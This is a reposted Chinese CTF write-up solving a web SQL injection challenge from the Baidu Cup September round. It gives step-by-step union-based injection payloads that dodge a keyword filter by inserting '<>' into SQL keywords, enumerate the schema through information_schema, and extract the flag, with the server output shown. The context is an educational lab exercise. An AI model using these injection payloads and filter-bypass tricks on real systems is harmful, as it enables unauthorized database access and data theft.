百度杯CTF奪旗大賽9月場writeup


在i春秋上注冊了賬號,准備業余時間玩玩CTF。其中的九月場已經打完了,但是不妨礙我去做做題,現在將一些思路分享一下。

一. 第二場web SQL

根據題目來看是一個SQL注入的題目:

這里推薦兩篇文章:

sql注入字符繞過方法:http://www.2cto.com/Article/201301/182519.html

sql注入實例一枚: http://blog.csdn.net/praifire/article/details/51926863

下面是這個題目的思路:

1. 首先看看是否有字符過濾,
把所有字符串都試一遍
/index.php?id = 1~!@$%^&*()_+-={}[]'";<>/?
發現<>直接被刪除,即是:sele<>ct --> select
符號+被替換為空格等等

2. 獲取當前表的字段個數:
使用語句:
/index.php?id=1 order by [數值]
由於有過濾,這里進行替換:
首先數值是1:
/index.php?id=1 ord<>er by 1 正常返回
然后2:
/index.php?id=1 ord<>er by 2 正常返回
/index.php?id=1 ord<>er by 4 無返回
/index.php?id=1 ord<>er by 3 正常返回
可以判定,字段數為3

3. 使用聯合查詢,獲取可以顯示的字段
[注:聯合查詢,union,參考:http://www.jb51.net/article/48933.htm]
/index.php?id=1 union select 1,2,3
/index.php?id=1 uni<>on sel<>ect 1,2,3
執行之后,第二個字段被顯示出來,說明三個字段只有第二個字段可以顯示。

4、暴出數據庫用戶、版本、庫名和路徑信息,運氣不錯,是root權限。
/index.php?id=1 union select 1,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),3
/index.php?id=1 uni<>on sel<>ect 1,gro<>up_con<>cat(u<>ser(),0x5e5e,vers<>ion(),0x5e5e,datab<>ase(),0x5e5e,@@base<>dir),3
返回:sqli@localhost^^5.5.50-0ubuntu0.14.04.1^^sqli^^/usr
一個名為sqli的用戶,操作系統為ubuntu

5.暴出當前庫中的所有表名,查了下只有一個account表還比較像存放用戶名和口令信息的表
/index.php?id=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
/index.php?id=1 un<>ion se<>lect 1,gro<>up_concat(table_na<>me),3 fr<>om in<>formation_schema.tab<>les where table_sc<>hema=dat<>abase()
返回:info
說明只有一個info表。

6.暴出info表中的所有字段名
/index.php?id=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='info'
/index.php?id=1 uni<>on se<>lect 1,grou<>p_con<>cat(co<>lumn_name),3 from information_schema.colu<>mns wher<>e table_name='info'
返回:
id,title,flAg_T5ZNdrm
表中有三個字段:目測flag應該就在flAg_T5ZNdrm中:

7.暴出flAg_T5ZNdrm字段里的內容:
/index.php?id=1 union select 1,group_concat(flAg_T5ZNdrm),3 from info
/index.php?id=1 un<>ion se<>lect 1,group_concat(flAg_T5ZNdrm),3 from info
返回:
flag{8b62cfab-d5ba-4ae8-bf35-44aa1e15d6ea},test

得到flag:
flag{8b62cfab-d5ba-4ae8-bf35-44aa1e15d6ea}

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM